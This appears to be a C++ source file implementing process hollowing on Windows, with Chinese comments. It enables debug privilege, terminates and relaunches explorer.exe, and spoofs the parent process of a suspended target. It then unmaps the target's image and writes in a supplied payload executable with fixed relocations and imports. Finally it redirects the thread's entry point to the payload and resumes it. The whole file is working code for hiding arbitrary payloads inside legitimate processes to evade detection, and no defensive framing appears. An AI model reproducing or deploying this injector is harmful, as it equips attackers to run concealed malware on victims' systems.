﻿#include "PE.h"
#include "Hollowing.h"	
#include <tlhelp32.h>
#pragma comment(lib, "advapi32.lib")
BOOL GetProcessUserName(HANDLE hProcess, LPWSTR lpUserName,PDWORD lpdwSize)
{
	HANDLE hToken;
	DWORD dwSize;
	TOKEN_USER* pTokenUser;
	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
	{
		return FALSE;
	}
	if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize))
	{
		CloseHandle(hToken);
		return FALSE;
	}
	pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), 0, dwSize);
	if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize))
	{
		HeapFree(GetProcessHeap(), 0, pTokenUser);
		CloseHandle(hToken);
		return FALSE;
	}
	if (!LookupAccountSidW(NULL, pTokenUser->User.Sid, lpUserName, lpdwSize, NULL, NULL, NULL))
	{
		HeapFree(GetProcessHeap(), 0, pTokenUser);
		CloseHandle(hToken);
		return FALSE;
	}
	HeapFree(GetProcessHeap(), 0, pTokenUser);
	CloseHandle(hToken);
	return TRUE;
}
BOOL IsProcessAlive(const wchar_t* processName, PHANDLE hProcess)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return FALSE; // 创建快照失败
	}
	PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) };
	if (Process32First(hSnapshot, &pe32))
	{
		do
		{
			if (wcscmp(pe32.szExeFile, processName) == 0)
			{
				if (hProcess != NULL)
				{
					*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
					if (!*hProcess)
					{
						*hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS, FALSE, pe32.th32ProcessID);
						if (!*hProcess)
						{
							CloseHandle(*hProcess);
							*hProcess = NULL;
							continue;
						}
					}
					CloseHandle(hSnapshot);
					return TRUE; // 进程存在
				}
			}
		} while (Process32NextW(hSnapshot, &pe32));
	}
	CloseHandle(hSnapshot);
	return FALSE; // 进程不存在
}
BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		//std::cout << "OpenProcessToken failed: " << GetLastError() << std::endl;
		return FALSE;
	}
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		//std::cout << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
		CloseHandle(hToken);
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
	{
		//std::cout << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
		CloseHandle(hToken);
		return FALSE;
	}
	CloseHandle(hToken);
	return TRUE;
}
int Hollowing(LPCWSTR targetProcess, PVOID payloadBuffer, size_t payloadSize)
{
	using namespace std;
	DWORD_PTR imageBase = 0;
	PROCESS_BASIC_INFORMATION pbi;
	PVOID pStackAddress = NULL;
	DWORD_PTR delta;
	PVOID pBuffer=NULL;
	BOOL result = 1;
    __PPEB pPeb;
	___PEB pebLocal ;
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	STARTUPINFOEX siex = { 0 };
	siex.StartupInfo.cb = sizeof(STARTUPINFOEX);
	PROCESS_INFORMATION pi;
	size_t fileSize;
	NTSTATUS UnMap;
	DWORD bytesRead;
	PVOID fileBuffer=payloadBuffer;
	WCHAR cmdLine[MAX_PATH];
	IMAGE_DOS_HEADER* dosHeader;
	IMAGE_NT_HEADERS* ntHeaders;
	PIMAGE_BASE_RELOCATION relocTable;
	PVOID pRemoteBuffer;
	DWORD_PTR exeImageBase;
	__PEB_LDR_DATA ldr;
	PIMAGE_SECTION_HEADER sectionHeader;
	PVOID entryPoint;
	HANDLE hProcess;
	SIZE_T sizeToAllocate;
	HANDLE hToken=NULL;
	EnableDebugPrivilege();
	if (!IsProcessAlive(L"explorer.exe", &hProcess))
	{
#if _DEBUG
		std::cout << "Process not found" << GetLastError()<< std::endl;
#endif // 
		result = 1;
		goto CLOSE;
	}
	TerminateProcess(hProcess, 1);
	CloseHandle(hProcess);
	hProcess = NULL;
	wcscpy_s(cmdLine, 256, L"explorer.exe");
	if (!CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
	{
		result = 1;
		goto CLOSE;
	}
	hProcess = pi.hProcess;
	CloseHandle(pi.hThread);
	pi.hThread = NULL;
	InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
	siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
	InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeToAllocate);
	if (!UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
		&hProcess, sizeof(HANDLE), NULL, NULL))
	{
		//HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
		return 1;
	}
	siex.StartupInfo.cb = sizeof(STARTUPINFOEX);
	//EnableDebugPrivilege();
	ZeroMemory(cmdLine, sizeof(cmdLine));
	wcscpy_s(cmdLine, 256, targetProcess);
	if(!CreateProcessW(NULL,cmdLine,NULL,NULL,FALSE,CREATE_SUSPENDED|EXTENDED_STARTUPINFO_PRESENT,NULL,NULL,&siex.StartupInfo,&pi))
	{
		//std::cout << "CreateProcess failed: " << GetLastError() << std::endl;
#if _DEBUG
		wchar_t errorMsg[256];
		swprintf_s(errorMsg, 256, L"CreateProcess failed: %d", GetLastError());
		MessageBox(NULL, errorMsg, L"错误", MB_ICONERROR | MB_OK);
		MessageBoxW(NULL, cmdLine, L"错误", MB_ICONERROR | MB_OK);
#endif // _DEBUG
		result = 1;
		goto CLOSE;
	}
	CloseHandle(hProcess);
	hProcess = NULL;
	//HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
	if (!GetPEB(&pPeb, pi.hProcess))
	{
		//std::cout << "GetPEB failed: " << std::endl;
		result = 1;
		goto CLOSE;
	}
	//std::cout << std::hex << "PEB: 0x" << (DWORD_PTR)pPeb << std::endl;
	if (!ReadProcessMemory(pi.hProcess, pPeb, &pebLocal, sizeof(___PEB), NULL))
	{
		//std::cout << "ReadProcessMemory failed: " << GetLastError() << std::endl;
		result = 1;
		goto CLOSE;
	}
#if _WIN64
	imageBase = (DWORD_PTR)pebLocal.ImageBaseAddress;
#endif // 0
	//std::cout << "ImageBase: 0x" << std::hex << imageBase << std::dec << std::endl;

	if (!GetNTHeaders(fileBuffer, &ntHeaders))
	{
		//std::cout << "GetNTHeaders failed " << std::endl;
		result = 1;
		goto CLOSE;
	}
	//std::cout << std::hex << "NTHeaders: 0x" << (DWORD_PTR)ntHeaders << std::endl;
	if (!GetImageSectionHeader(ntHeaders, &sectionHeader))
	{
		//std::cout << "GetImageSectionHeader failed " << std::endl;
		result = 1;
		goto CLOSE;
	}
	//std::cout << std::hex << "SectionHeader: 0x" << (DWORD_PTR)sectionHeader << std::endl;
	UnMap = m_NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
	if (UnMap != STATUS_SUCCESS)
	{
		//std::cout << "NtUnmapViewOfSection failed: " << UnMap << std::endl;
		result = 1;
		goto CLOSE;
	}
	pBuffer = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!pBuffer)
	{
		//std::cout << "VirtualAlloc failed: " << GetLastError() << std::endl;
		result = 1;
		goto CLOSE;
	}
	pRemoteBuffer = VirtualAllocEx(pi.hProcess, (PVOID)imageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!pRemoteBuffer)
	{
		pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (!pRemoteBuffer)
		{
			//std::cout << "VirtualAllocEx failed: " << GetLastError() << std::endl;
			result = 1;
			goto CLOSE;
		}
	}
	exeImageBase = ntHeaders->OptionalHeader.ImageBase;
	ntHeaders->OptionalHeader.ImageBase = (DWORD_PTR)pRemoteBuffer;
	// 修复节区表
	memcpy(pBuffer, fileBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);
	for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
	{
		memcpy((PBYTE)pBuffer + sectionHeader[i].VirtualAddress,
			(PBYTE)fileBuffer + sectionHeader[i].PointerToRawData,
			sectionHeader[i].SizeOfRawData);
	}
	// 修复重定位表
	delta = (DWORD_PTR)pRemoteBuffer - exeImageBase;
	if(!GetImageRelocationDirectory(pBuffer, &relocTable))
	{
		std::cout << "GetImageRelocationDirectory failed" << std::endl;
		result = 1;
		goto CLOSE;
	}
	//std::cout << "Delta: 0x" << std::hex << delta << std::endl;
	//std::cout << "RelocTable: 0x" << std::hex << (DWORD_PTR)relocTable << std::endl;

	if (delta != 0)
	{
		DWORD size = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
		//std::cout << "Reloc size: " << size << std::endl;
		while (size > 0)
		{
			DWORD count=0;
			//cout << "count: " << count << endl;
			if(!GetRelocEntryCount(relocTable, &count))
			{
				//std::cout << "GetRelocEntryCount failed" << std::endl;
				result = 1;
				goto CLOSE;
			}
			//cout << "count: " << count << endl;
			PIMAGE_RELOC relocEntry = (PIMAGE_RELOC)((DWORD_PTR)relocTable + sizeof(IMAGE_BASE_RELOCATION));
			for (DWORD i = 0; i < count; i++)
			{
				if (relocEntry[i].Type == IMAGE_REL_BASED_DIR64)
				{
					PDWORD_PTR pAddress = (PDWORD_PTR)((DWORD_PTR)pBuffer +
						relocTable->VirtualAddress + relocEntry[i].Offset);
					*pAddress += delta;
				}
				else if (relocEntry[i].Type == IMAGE_REL_BASED_HIGHLOW)
				{
					PDWORD pAddress = (PDWORD)((DWORD_PTR)pBuffer +
						relocTable->VirtualAddress + relocEntry[i].Offset);
					*pAddress += (DWORD)delta;
				}
				else if (relocEntry[i].Type == IMAGE_REL_BASED_HIGH)
				{
					PWORD pAddress = (PWORD)((DWORD_PTR)pBuffer +
						relocTable->VirtualAddress + relocEntry[i].Offset);
					*pAddress += HIWORD(delta);
				}
				else if (relocEntry[i].Type == IMAGE_REL_BASED_LOW)
				{
					PWORD pAddress = (PWORD)((DWORD_PTR)pBuffer +
						relocTable->VirtualAddress + relocEntry[i].Offset);
					*pAddress += LOWORD(delta);
				}
			}
			size -= relocTable->SizeOfBlock;
			relocTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocTable + relocTable->SizeOfBlock);
		}
	}
	// x64修复导入表
	PIMAGE_IMPORT_DESCRIPTOR importDescriptor;
	if (!GetImageImportDirectory(pBuffer, &importDescriptor))
	{
		//std::cout << "GetImageImportDirectory failed" << std::endl;
		result = 1;
		goto CLOSE;
	}
	//cout << "ImportDescriptor: 0x" << std::hex << (DWORD_PTR)importDescriptor << std::endl;
	while (importDescriptor->Name)
	{
		PIMAGE_THUNK_DATA thunkILT = (PIMAGE_THUNK_DATA)((DWORD_PTR)pBuffer + importDescriptor->OriginalFirstThunk);
		PIMAGE_THUNK_DATA thunkIAT = (PIMAGE_THUNK_DATA)((DWORD_PTR)pBuffer + importDescriptor->FirstThunk);
		HMODULE hModule = LoadLibraryA((LPCSTR)((DWORD_PTR)pBuffer + (DWORD_PTR)importDescriptor->Name));
		if (!hModule)
		{
			//std::cout << "LoadLibraryA failed: " << GetLastError() << std::endl;
			result = 1;
			goto CLOSE;
		}
		while (thunkILT->u1.AddressOfData)
		{
			//cout << "thunkILT: 0x" << std::hex << (DWORD_PTR)thunkILT << std::endl;
			FARPROC funcAddress = NULL;
			if (thunkILT->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				funcAddress = GetProcAddress(hModule, (LPCSTR)(thunkILT->u1.Ordinal & 0xFFFF));
			}
			else
			{
				PIMAGE_IMPORT_BY_NAME importByName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)pBuffer + thunkILT->u1.AddressOfData);
				funcAddress = GetProcAddress(hModule, (LPCSTR)importByName->Name);
			}
			if (!funcAddress)
			{
				//std::cout << "GetProcAddress failed: " << GetLastError() << std::endl;
				result = 1;
				goto CLOSE;
			}
			thunkIAT->u1.Function = (DWORD_PTR)funcAddress;
			thunkILT++;
			thunkIAT++;
		}
		importDescriptor++;
	}
	if (!WriteProcessMemory(pi.hProcess, pRemoteBuffer, pBuffer, ntHeaders->OptionalHeader.SizeOfImage, NULL))
	{
		//std::cout << "WriteProcessMemory failed: " << GetLastError() << std::endl;
		result = 1;
		goto CLOSE;
	}
	entryPoint = (PVOID)((DWORD_PTR)pRemoteBuffer + ntHeaders->OptionalHeader.AddressOfEntryPoint);
	//cout << "EntryPoint: 0x" << std::hex << (DWORD_PTR)entryPoint << std::endl;
	pStackAddress = VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if(!pStackAddress)
	{
		//std::cout << "VirtualAllocEx for stack failed: " << GetLastError() << std::endl;
		result = 1;
		goto CLOSE;
	}
	CONTEXT context;
	context.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &context);
#if _WIN64
	context.Rip = (DWORD_PTR)entryPoint; 
#else 
	context.Eax = (DWORD_PTR)entryPoint;
#endif
	SetThreadContext(pi.hThread, &context);
	if (ResumeThread(pi.hThread) == -1)
	{
		//std::cout << "ResumeThread failed: " << GetLastError() << std::endl;
		result = 1;
		goto CLOSE;
	}
	result = 0;
	goto CLOSE;
CLOSE:
	if (pBuffer)
	{
		VirtualFree(pBuffer, 0, MEM_RELEASE);
	}
	if (hProcess)
	{
		CloseHandle(hProcess);
	}
	if (pi.hThread)
	{
		CloseHandle(pi.hThread);
	}
	if (pi.hProcess)
	{
		CloseHandle(pi.hProcess);
	}
	if (hToken)
	{
		CloseHandle(hToken);
	}
	return result;
}
